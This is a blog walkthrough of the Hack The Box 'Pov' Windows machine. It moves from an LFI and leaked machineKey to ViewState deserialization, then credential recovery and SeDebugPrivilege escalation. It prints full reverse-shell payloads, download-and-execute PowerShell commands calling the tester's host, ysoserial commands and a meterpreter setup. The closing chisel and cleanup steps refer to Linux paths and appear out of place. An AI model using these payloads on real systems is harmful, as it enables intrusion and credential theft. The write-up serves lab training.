Pov

INTRODUCTION

HTB released Pov during Season IV. I didn’t play that season, so I’m coming to it a few months after. I learned a lot from this box; it really helped me polish my skills for attacking Windows using a Linux box. The pathway to the root flag is very interesting, and requires a wide array of skills. Having just completed my walkthrough for Mailing, this box was refreshingly straightforward: there was no guesswork, and every step led quite logically into the next.

Foothold is all about using knowledge of ASP.NET to attack an insecure subdomain. One of the pages uses a mechanism that relies on insecure deserialization, where the security of this feature is broken by means of an LFI present on that same page. A little bit of web skill goes a long way on this one. The really cool part was learning how to use the popular tool ysoserial.exe against a Windows target, but using Linux to create the payload. This took a bit of work, but now I’m confident I have the tooling to perform this same feat on future Windows boxes.

Gaining the user flag requires a pivot to a second user. While the credential is seemingly just sitting there, complications with the initial foothold’s reverse shell make it difficult to utilize the credential. This part forced me to learn a bit about windows security and how administrators handle credentials. Defeating this step leads to a quick sprint to root.

The root flag will require a little bit of enumeration. By applying the right privesc scripts, you’ll see the privesc vector right away. However, exploiting it is not so trivial. For me, a main challenge was giving up my pride and resorting to using metasploit. After that, privilege escalation was easy, but teaches a really valuable red-teaming skill 😉

Great box! Thank you, d00msl4yer 👍

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
80/tcp open  http

Only HTTP? Yuck. That means I’ll probably be working out of a reverse shell for a long time once I reach foothold.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)

Server is running Microsoft IIS 10.0, and we’ve confirmed pov.htb is a domain. Interestingly the server listens for TRACE requests

If I find myself wanting to obtain information from a request header, this TRACE operation might be useful - it could bypass protection normally afforded by an http-only cookie, for example.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results.

Webserver Strategy

Noting the redirect from the nmap scan, I added pov.htb to /etc/hosts and did banner grabbing on that domain:

export DOMAIN=pov.htb
export URL=http://$DOMAIN
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $URL && curl -IL http://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v -fs 0

No results from scanning for vhosts at the root level. Now I’ll check for subdomains of pov.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v -fs 0

subdomain-enumeration

Ok, we’ve found a subdomain: dev.pov.htb with a redirect to /portfolio. I’ll move on to directory enumeration on http://pov.htb and we’ll check out this subdomain afterwards:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-root -of json -e .php,.asp,.aspx,.js,.html -timeout 4 -v

Directory enumeration against http://pov.htb/ gave the following:

directory enumeration 1

Alright, the pov.htb domain is pretty standard. Nothing interesting going on there. Let’s check out that subdomain now:

echo "$RADDR dev.$DOMAIN" | sudo tee -a /etc/hosts
ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-dev -of json -e .php,.asp,.aspx,.js,.html -timeout 4 -v -fw 9

driectory enumeration 2

Hmm, it’s unclear why these results are different from the other ones… Is it because they contain . characters, or extensions? Strange.

Exploring the Website

This website claims to provide some kind of security solution for websites. I.e. the clients of this company are admins of other websites (and mail servers).

features section

The index / landing page is generally uninteresting. The only important information I found was down at the bottom of the page, the text that appeared alongside the “contact us” form:

contact form description

The description gives away a subdomain dev.pov.htb, but we already knew about that from the subdomain scan. Also, there is a hint at a username, sfitz.

They used the actual area code for Corpus Christi. Nice easter egg there. The address is fake though.

The dev.pov.htb subdomain shows a lot more information. Right away, I see a couple clues. First, the About section shows ASP.NET conspicuously bolded. We are definitely going to be using some ASP stuff on this target!

about

A little further down, we see in the Testimonials carousel a hint that… maybe Stephen isn’t as good with ASP.NET as he thinks he is 😅

portfolio clue

The button to download Stephen’s CV seemed a little suspicious. Why have it set up like this?

download button 1

To take a closer look, I hopped into ZAP and turned on the HUD. It pointed out right away that there are a bunch of hidden fields and comments, exposing the action of this download button:

download button 2

Let’s try clicking that Download CV button and proxy it through ZAP:

download button 3

From the response we can see that the ASP.NET version is 4.0.30319. Also, we can see very clearly in the request that the file parameter is obtained from the frontend. Here’s the frontend code behind how that works:

<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['form1'];
if (!theForm) {
    theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
    if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
        theForm.__EVENTTARGET.value = eventTarget;
        theForm.__EVENTARGUMENT.value = eventArgument;
        theForm.submit();
    }
}
//]]>
</script>

I.e. the file is a form input but the EVENTTARGET and EVENTARGUMENT also get included in the form, but only when it’s submitted.

I wonder if we can play around with this to obtain files via an LFI? First, I’ll try getting a file that we know should be there - default.aspx:

download lfi 1

That worked perfectly. See the reference to CodeFile at the top? Clearly, this default.aspx uses that C# file, so let’s try obtaining index.aspx.cs using the same trick:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;

public partial class index : System.Web.UI.Page {
    protected void Page_Load(object sender, EventArgs e) {

    }
    
    protected void Download(object sender, EventArgs e) {
            
        var filePath = file.Value;
        filePath = Regex.Replace(filePath, "../", "");
        Response.ContentType = "application/octet-stream";
        Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
        Response.TransmitFile(filePath);
        Response.End();
        
    }
}

Alright! We obtained the file, and now we know exactly how it’s “protecting” against LFI for the download.aspx endpoint.

We can very easily bypass this "../" to "" replacement by doubling up on the traversal (ex. ....//). But also, it should be totally possible to just use an absolute filepath instead. Let’s try the hosts file:

download lfi 3

download lfi 2

💡 Note that at least one of the EVENTTARGET, EVENTARGUMENT, VIEWSTATE, VIEWSTATEGENERATOR, or EVENTVALIDATION fields are acting as an anti-CSRF token.

As a result, we can’t easily just blast the download endpoint with regular fuzzing techniques (like ffuf or ZAP fuzz). If we need to automate this, I could use any of the following:

  • Selenium
  • Python requests
  • piping cURL into cURL

The point is that, fundamentally, every POST request will need to be preceded by a unique GET request.

Yep, that’s the hosts file. So we can access the filesystem using this LFI. Also, we have confirmation that dev.pov.htb is probably the only subdomain.

🤔 I wonder if we can also load an external file? In other words, is this also an RFI? I’ll start up an http server and try it out. For this, I’ll use one of my own tools: simple-http-server.

Feel free to just to PHP or http.server instead, but my tool has advantages for data exfiltration and easily examining headers.

sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v

Next, using the UI I’ll request http://10.10.14.22:8000/index.html:

download lfi 4

Huh? The path was interpretted very oddly. The response header shows the requested path:

Content-Disposition: attachment; filename=htt/10.10.14.22:80index.html

😂 OH! I get it. I totally misinterpreted that regex that we saw in index.aspx.cs, and frankly I think Stephen did as well.​

The ../ was being interpreted not literally, but actually in the regex-style special-character way, as [any char][any char]/. In this way, every two characters before any slash, plus the slash itself, will be removed from the requested path!

The bolded characters were removed because they match the regex: http://10.10.14.22:80**00/**index.html

In other words, we can bypass this reading our string and replacing every / with XX//, like this: http:XX//XX//10.10.14.22:8000XX//index.html

lfi regex bypass

Loading the external resource did not work, but learning how to bypass the regex might be useful nonetheless! It’s still unclear how I’ll eventually get RCE on the target though - there’s no SSH, no WinRM… nothing but this webserver. I’ll need to do some research and figure out how I might be able to use the LFI to gain RCE.

FOOTHOLD

Viewstate

I did some reading about ASP.NET webservers, and specifically about how to gain RCE on them. Remember those parameters being send in the POST to download.aspx, EVENTTARGET, EVENTARGUMENT, VIEWSTATE, VIEWSTATEGENERATOR, or EVENTVALIDATION? Well, it turns out one of those might be able to get us RCE: VIEWSTATE.

According to this Hacktricks page, it’s possible to exploit some insecure deserialization in the VIEWSTATE variable. Apparently, the VIEWSTATE variable holds all of the internal state of a page, and is used when interacting with the ASP engine to carry out all user interaction with the server; the server renders according to the viewstate, etc. Long story short, it’s a big base64 object that might be controllable, and ultimately is deserialized insecurely.

This is a known issue, so the server-side solution is to sign/verify the VIEWSTATE. The server uses a signing key on the state, upon every interaction the state is verified with a verification key. The keys for this mechanism are stored in a file called web.config. But obviously, that file is not publicly accessible… 😏

That’s where the LFI comes into play! Let’s grab that web.config file and hope there are keys inside:

lfi for web config

I first tried in the current directory, but there was no such file so I checked the parent directory instead.

👍 Got it. Here are the contents:

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

Perfect! The two keys we needed, decryptionKey and validationKey, are both present. We also now know that it uses AES encryption and SHA1 validation.

Crafting the payload

⚠️ This is not quite the way to do it, skip ahead to the bash script below to see how I eventually got it working!

DECRYPT_KEY=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
VALIDTN_KEY=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
PAYLOAD_CMD="powershell.exe Invoke-WebRequest -Uri http://10.10.14.22:8000/?msg=success"
GENERATOR=8E0F0FA3

DECRYPT_KEY and VALIDTN_KEY are from the web.config file that we obtained through the LFI. The PAYLOAD_CMD is just a base-64 encoded powershell reverse shell, from revshells.com. The GENERATOR is the value of the __VIEWSTATE_GENERATOR, that seems static and does not change between page loads (obtained according to the instructions on HackTricks).

As per the instructions, I’ll use ysoserial.exe to generate the payload:

wine ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "$PAYLOAD_CMD" --path="/portfolio/default.aspx" --generator "$GENERATOR" --decryptionalg="AES" --decryptionkey="$DECRYPT_KEY" --validationalg="SHA1" --validationkey="$VALIDTN_KEY" 2>/dev/null | tee ~/Box_Notes/Pov/exploit/ysoserial_payload.b64
ASIDE: YSOSERIAL.EXE ON LINUX

You may be wondering “hey, you’re running kali. How is Ysoserial.exe actually working??”. As you probably already know, wine is a way to run windows programs on linux. That part is easy. The really trick was actually getting dotnet installed, which is essential to Ysoserial’s functionality.

For this, I followed this short guide by Hyperion, but I’ll summarize the steps here (in case it’s taken off Medium):

sudo apt update
sudo apt install mono-complete wine winetricks -y
# Make a directory for ysoserial somewhere
# Download the latest release of Ysoserial.net (I'm using v1.36) into that directory
unzip ysoserial*.zip
winetricks dotnet48 # Wait a long time. Lots of errors encountered.
# Test your installation
cd Release
wine ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 127.0.0.1"

Even when I ran the test ping payload, my ysoserial.exe spewed out a bunch of errors. Be sure to redirect stderr so that the error text doesn’t get in the way of your payload.

I’ll also need a way to verify whether or not it’s working. For this, I’ll use an http server again:

sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp
simple-server 8000 -v

😂 You can tell from all those ports that I’m pretty hopeful this is going to work

From there, I swapped out the VIEWSTATE variable in the POST request from clicking the Download CV button:

overwrite viewstate

I submitted that request… but didn’t see any request come in to my http server 😞

First successful payload

After many, many iterations of making tiny adjustments to the way I was both generating and submitting the payload, I finally got it working! 🎉

This is what I had been doing wrong:

  • The --generator option doesn’t seem to work. You’d think you need to include an --apppath instead (like Hacktricks says) but actually you can just completely omit it.
  • Swapping out the VIEWSTATE by manipulating the DOM doesn’t actually work. Instead, proxy the request into ZAP and swap out the VIEWSTATE, then forward the request. I’m not sure why that’s the case.
  • Be sure to output stderr to /dev/null when running ysoserial.exe. If you don’t do that, the errors that it spews out are appended directly to the end of the payload, with no space or line break - and the first few characters look like they’d be part of the base64 data. Best to suppress stderr entirely.

These changes culminated in the following script, ysoserial_make_payload.sh:

#!/bin/bash

if [ $# -lt 1 ]; then
    echo "Usage: $(basename "$0") <cmd>"
    echo "Error: No command for the payload was provided."
    exit 1
fi

DECRYPT_KEY=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
VALIDTN_KEY=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468
PAYLOAD_CMD=$1

wine /your/path/to/ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "$PAYLOAD_CMD" --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="$DECRYPT_KEY" --validationalg="SHA1" --validationkey="$VALIDTN_KEY" 2>/dev/null | tee ~/Box_Notes/Pov/exploit/ysoserial_payload.b64

I ran my ysoserial_make_payload.sh to generate a GET request to my http server, to see if it was working:

./ysoserial_make_payload.sh "powershell.exe Invoke-WebRequest -Uri http://10.10.14.22:8000/?msg=success"

…then proxied the Download CV request through ZAP’s HUD:

swapping out viewstate

👏 After forwarding the request, I saw the target contact my http server:

contact from target via http

Fantastic! Now let’s adjust this process to open a reverse shell instead. I think the cleanest way is to use powershell to run a remote .ps1 script. I’ll use the “Powershell #1” script from revshells.com, saved to reverseshell.ps1:

$LHOST = "10.10.14.22"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Now I’ll just modify the GET request that I used before, to instead load the above script:

./ysoserial_make_payload.sh "powershell.exe IEX (Invoke-WebRequest -Uri http://10.10.14.22:8000/reverseshell.ps1 -UseBasicParsing)"

Once again I proxied the Download CV request through ZAP, and oila I have a reverse shell!

reverse shell

USER FLAG

Upgrading the shell

This shell is absolutely terrible. I need to fix this or the rest of the box will be excrutiating.

Since I opened the SMB ports, I think the easiest way to upgrade is opening a new reverse shell, sending powershell through it:

sudo ufw allow from $RADDR to any port 4445 proto tcp
cp ~/Tools/nc.exe .
sudo impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
# Then in another tab:
rlwrap nc -lvnp 4445

Then, on the target I’ll map the drive and copy over socat:

net use x: \\10.10.14.22\share /user:kali testtesttest
cd C:\Users\sfitz\Downloads
copy X:\nc.exe
.\nc.exe 10.10.14.22 4445 -e powershell.exe

Then we have a nice Powershell-based reverse shell with command history 👍

got powershell through nc

Local enumeration: sfitz

Now that I have a much nicer shell to use, I may as well start local enumeration. It might not work, but I’ll try using WinPEAS:

copy X:\winPEASany.exe
.\winPEASany.exe

As usual, WinPEAS produces a huge amount of very useful info. First, it’s good to get a sense of who else is on the box:

winpeas users list

Oh interesting, alaading is in the Remote Management Users group, even though WinRM, RDP etc are not listening externally.

It looks like OpenSSH is installed, maybe we can connect that way?

OpenSSH Authentication Agent(OpenSSH Authentication Agent)[C:\Windows\System32\OpenSSH\ssh-agent.exe]

The NTLMv2 hash is available:

sfitz::POV:1122334455667788:4da7ad8a8aecbd9a92d454167a92595a:0101000000000000b15340cb5ca2da01b11031e11a7121c300000000080030003000000000000000000000000020000087d80dc37468cb66e4ab5c53a826828a46878794b3c9de2bc841459642be4e2e0a00100000000000000000000000000000000000090000000000000000000000

Excellent. I’ll come back and take another look at the WinPEAS result once I poke around the filesystem for a bit.

Thankfully, I didn’t have to look very far: there is a very juicy-looking file in C:\Users'sfitz\Documents:

sfitz documents

There’s a credential for alaading sitting there in plaintext!

1000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6

Credential for alaading

After trying to use that password in a few different ways, I decided to look up what this System.Management.Automation.PSCredential thing is.

As it turns out, the text above is not a password at all. Actually, it’s more like a password hash (but reversible??). It’s a format called a Powershell Secure String. It’s a way for administrators to store passwords in files, but not have the plaintext password readable. It’s fully reversible:

This process is from this article. Read it for more detail.

$username = "alaading"
$securestring = ConvertTo-SecureString -String "myplainTextP455word" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securestring)
$credential.GetNetworkCredential() | fl

However, I couldn’t get the above process to work, because my reverse shell seems to die whenever I pass it too long of a string. Perhaps I’ll need to parse the XML directly…

After quite a bit of wrestling with ChatGPT, I finally scrapped together a small powershell script to convert this Secure String to a plaintext password, extract_password_from_xml.ps1

# Load the XML file
$credentialXml = [xml](Get-Content -Path "C:\Users\sfitz\Documents\connection.xml")
# Load the PSCredential object from the XML
$credential = [System.Management.Automation.PSCredential]::new($credentialXml.Objs.Obj.Props.S.'#text', (ConvertTo-SecureString $credentialXml.Objs.Obj.Props.SS.'#text'))
# Print the credential
$credential.GetNetworkCredential() | fl

Now we can run it as a remote script, using IEX:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.22:8000/extract_password_from_xml.ps1')

And we recover the password 🎉

recovered password for alaading

We have a known powershell credential now, alaading : f8gQ8fynP44ek1m3

😅 Life is easy when there’s no AV, eh?

Let’s see where this credential can be used:

  • psexec did not work:

    impacket-psexec -target-ip alaading:f8gQ8fynP44ek1m3@$RADDR powershell.exe
    
  • crackmapexec didn’t work in either smb or winrm mode:

    crackmapexec smb -u 'alaading' -p 'f8gQ8fynP44ek1m3' -x "cmd /c whoami" $RADDR
    crackmapexec winrm -u 'alaading' -p 'f8gQ8fynP44ek1m3' -x "cmd /c whoami" $RADDR
    

🤔 Hmm… Actually, there is a good way to do this on windows. It’s kinda like the equivalent of su from Linux: RunAs. I already have a more reliable version of that sittting around, RunasCs.exe, so let’s give that a go instead. I’m not really sure of the syntax…

X:\RunasCs.exe --help

RunasCs examples

That example looks perfect. Let’s open another reverse shell, this time as alaading:

sudo ufw allow from $RADDR to any port 4446 proto tcp
rlwrap nc -lvnp 4446
X:\RunasCs.exe alaading f8gQ8fynP44ek1m3 ".\nc.exe 10.10.14.22 4446 -e powershell.exe" -t 0

RunasCs permission denied

Huh? Access is denied? 😕

🤦‍♂️ Ohh.. duh. I’m trying to run nc.exe from C:\Users\Downloads\sfitz, and alaading doesn’t have access to that folder! Let’s copy it to Public and try again.

cd C:\Users\Public\Downloads
copy X:\nc.exe
X:\RunasCs.exe alaading f8gQ8fynP44ek1m3 ".\nc.exe 10.10.14.22 4446 -e powershell.exe" -t 0

😁 It worked! We managed to open yet another reverse shell:

alaading pivot

And there’s the user flag. Fantastic! Just type it out for some points.

type user.txt

ROOT FLAG

Local enumeration: alaading

I ran WinPEAS, and the results were almost overwhelming. To try to get a more thinned-down precise set of privesc vectors, I tried SharpUp. The source code is available on GhostPack’s repo, but I’m using the precompiled binary from here.

☝️ An alternative would have been to compile the original GhostPack source. This could be done with xbuild, now that I have mono installed.

I’ll run the binary directly off my SMB share:

X:\SharpUp.exe audit

Well, I wanted thinned-down resuls… And I sure got them 😂

sharpup result

Probably a good idea to look into the literally one thing that was reported by the privesc script, right?

According to this section of the Abusing Tokens page on Hacktricks, I might be able to use just SeDebugPrivilege to privesc:

This privilege permits the debug other processes, including to read and write in the memore. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege.

That sounds perfect. I’ll try out the psgetsys.ps1 script referenced in that section. Again, I’ll run directly from the SMB share:

script not signed

It doesn’t like that the script isn’t digitally-signed. We can get past this by setting the execution policy:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

Trying it again, it seems like it runs fine. The script should actually be used like this:

# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)

i.e. before we can use this, we need to find a PID of a process running as NT SYSTEM.

tasklist /v | findstr "NT AUTHORITY"

Hmm… The only result is the System Idle Process at PID 0. I doubt that will work. I guess I could try it though:

import-module X:\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(0,"whoami")

psgetsys not working 1

That’s odd. It should at least be able to run the code, even if the PID was invalid. I’ll check the script:

psgetsys usage

Aha, ok. The instructions on Hacktricks seem incorrect. I’ll try using it as shown above:

Just in case I can get this to work, I’ll start up a reverse shell listener on port 4447:

sudo ufw allow from $RADDR to any port 4447 proto tcp
rlwrap nc -lvnp 4447
ipmo .\psgetsys.ps1;  ImpersonateFromParentPid -ppid 664 -command "C:\Users\Public\Downloads\nc.exe 10.10.14.22 4447 -e cmd.exe"

That’s not quite it…

ipmo .\psgetsys.ps1;  ImpersonateFromParentPid -ppid 664 -command "C:\Users\Public\Downloads\nc.exe" -cmdargs "10.10.14.22 4447 -e cmd.exe"

There we go, it seems to require the args. I still can’t manage to get this to do anything, though…. hmm.

After dozens of iterations of trying to use psgetsys.ps1, I resorted to checking the HTB forums. Someone else was kind enough to mention that they had a similar problem, and how they got themselves out of it:

Root: It should be immediately obvious what you can do but I still spent a lot of time trying various payloads and techniques and I could not for the life of me to get any to work, I ended up using meterpreter and migrating feels like cheating. 😦

That’s a solid hint. I’ll start up a meterpreter shell instead.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=4447 -a x64 -f exe -o reverse_shell.exe
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST tun0
> set LPORT 4447
> run

Now from the target, let’s open the reverse shell using reverse_shell.exe:

X:\reverse_shell.exe

Moments later, we get the meterpreter shell we wanted:

meterpreter shell

☝️ Note: to switch back to meterpreter after entering shell, just type exit

In my original (alaading) reverse shell, I identified a PID that I had used with psgetsys.ps1 - the PID of lsass.exe, which was 664 for me. Let’s use the meterpreter session to “migrate” to this PID:

meterpreter> migrate 664

got nt authority system shell

Wow, that person from the forums was right. That was so easy that it felt like cheating 😅

And there’s the root flag! Just type it out to get those root flag points 🍒

type C:\Users\Administrator\Desktop\root.txt

Chisel SOCKS Proxy

During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.2:9999 R:1080:socks &

To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:

proxychains whatweb http://10.10.14.2:8000

socks proxy established

Success 👍

Finally, this worked, and I was able to cat out the flag for those glorious root flag points 💰

cat /root/root.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space. Also I have a few tools to get rid of:

cd exploit
rm winPEASany.exe SharpUp.exe RunasCs.exe reverse_shell.exe nc.exe psgetsys.ps1 socatx*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

EXTRA CREDIT

Checking out the Webserver

I was curious to see the structure of the webserver, now that I have nt authority/system. As expected, I found it inside C:\inetpub\wwwroot\:

webserver structure

The important stuff is inside the dev directory:

www dev

Here’s portfolio, what we mostly interacted with:

www portfolio

There was a contact.aspx? I didn’t even realize that. Huh, interesting. Let’s check out its source code in contact.aspx.cs:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;

public partial class contact : System.Web.UI.Page {
    protected void Page_Load(object sender, EventArgs e) {

    }
    protected void Submit(object sender, EventArgs e) {

    }
}

Ah, OK. It doesn’t actually do anything 😌

LESSONS LEARNED

two crossed swords

Attacker

  • ✈️ ZAP’s “HUD” tool is incredible! This is the first box I’ve actually utilized it on… and wow - I was completely blown away. It took me a matter of seconds to realize the inner workings of the /portfolio page and locate the LFI opportunity. I would highly recommend using this tool for any web target, at least for a few minutes. It also really cuts down on the amount of “clicks” you need to do when playing around with proxied requests.

  • 📜 Use as many privesc scripts as you want. They each have their strengths and weaknesses. On this box, I used winPEAS to gain a very broad view of the whole privesc surface; it was helpful, but a lot of information. Then right afterwards I used SharpUp.exe to find exactly the privesc vector I needed, with zero noise. On a CTF, it’s good to know how to enumerate manually, but using scripts is a huge advantage for speed and breadth.

  • 🦁 After foothold, run your tools out of SMB if you can. It’s super convenient! This saves a lot of tedious moving-around of files.

  • 😊 Don’t feel bad about using metasploit. Anyone who’s tried to train for OSCP has a bias against using metasploit. I’m starting to believe that’s actually just Rapid7 trying to market their tool and build hype. In reality, a smart attacker will obviously use whatever tools they have available. So why not be a smart attacker?

  • 🔀 If you’re utilizing SeDebugPrivilege, you’ll also need to migrate the process. There are a few ways to migrate, but by far the easiest is to just user meterpreter.

two crossed swords

Defender

  • 🤦‍♀️ Use well-tested regexes. This box opened itself up to an LFI in at least two ways. However, using a proper regex on the filepath could have actually prevented both of them, and stopped the LFI in its tracks. Use a well-documented regex library like on https://www.regexlib.com/. It’ll save you time as a developer, and provide better security.

  • 🤕 Mitigations are not solutions. I know, that sounds too broad, right? An illustrative example is the usage of ASP.NET’s VIEWSTATE on this box. There are mitigations for compromise that were already in place: encryption and verification of the VIEWSTATE. Those mitigations by themselves are effective, but they do not address the underlying vulnerability: insecure deserialization (of an object controlled by an untrusted entity!). All it took was chaining this vulnerability to another, much simpler one - the LFI. The lesson here is that you can’t just patch up one hole and assume that fixed your total security.

  • Nobody should have the SeDebugPrivilege. At most, this priv should be granted only temporarily, and within one session only.

  • 🙅 Secure String is a highly misleading term. At best, it’s a tool for preventing reading of a stored credential remotely. However, if the intruder is already inside the system, using a “secure string” is about as “secure” as storing a plaintext credential. If you ask me, this is strictly a convenience feature for administrators, and provides no security benefit.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake